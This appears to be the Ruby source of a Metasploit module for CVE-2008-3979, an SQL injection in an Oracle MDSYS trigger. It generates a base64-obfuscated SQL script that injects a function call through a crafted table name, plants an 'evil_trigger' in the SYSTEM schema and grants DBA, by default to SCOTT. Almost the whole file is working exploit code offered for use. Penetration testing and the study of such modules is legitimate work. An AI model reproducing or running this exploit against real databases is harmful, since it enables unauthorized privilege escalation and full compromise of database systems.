126 lines
4.0 KiB
Ruby
126 lines
4.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger.',
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'Description' => %q{
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This module will escalate a Oracle DB user to MDSYS by exploiting an sql injection bug in
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the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege
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given to MDSYS user by creating evil trigger in system scheme (2-stage attack).
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},
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'Author' => [ 'Sh2kerr <research[ad]dsec.ru>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3979' ],
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[ 'OSVDB', '51354' ],
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[ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],
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[ 'URL', 'http://www.ngssoftware.com/' ],
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],
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'DisclosureDate' => 'Jan 13 2009'))
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register_options(
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[
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OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
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OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
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OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
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], self.class)
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end
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def run
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name1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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name2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand4 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand5 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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function1 = %Q|
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CREATE OR REPLACE PROCEDURE #{name1}
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AUTHID CURRENT_USER AS
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PRAGMA AUTONOMOUS_TRANSACTION;
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BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';
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END;
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function2 = %Q|
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CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is
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PRAGMA AUTONOMOUS_TRANSACTION;
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STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);
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BEGIN #{datastore['USER']}.#{name1};
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end evil_trigger;';
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BEGIN
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EXECUTE IMMEDIATE STMT;
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COMMIT;
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RETURN 1;
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END;
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prepare ="create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"
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exploiting1 ="drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""
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exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"
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fun1 = Rex::Text.encode_base64(function1)
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fun2 = Rex::Text.encode_base64(function2)
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prp = Rex::Text.encode_base64(prepare)
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exp1 = Rex::Text.encode_base64(exploiting1)
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exp2 = Rex::Text.encode_base64(exploiting2)
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sql = %Q|
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DECLARE
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#{rand1} VARCHAR2(32767);
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#{rand2} VARCHAR2(32767);
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#{rand3} VARCHAR2(32767);
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#{rand4} VARCHAR2(32767);
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#{rand5} VARCHAR2(32767);
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BEGIN
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#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));
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EXECUTE IMMEDIATE #{rand1};
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EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';
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#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));
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EXECUTE IMMEDIATE #{rand2};
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EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';
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#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
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EXECUTE IMMEDIATE #{rand3};
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#{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));
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EXECUTE IMMEDIATE #{rand4};
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#{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));
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EXECUTE IMMEDIATE #{rand5};
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END;
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/
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DROP FUNCTION #{name1};
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DROP FUNCTION #{name2};
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sql)
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end
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end
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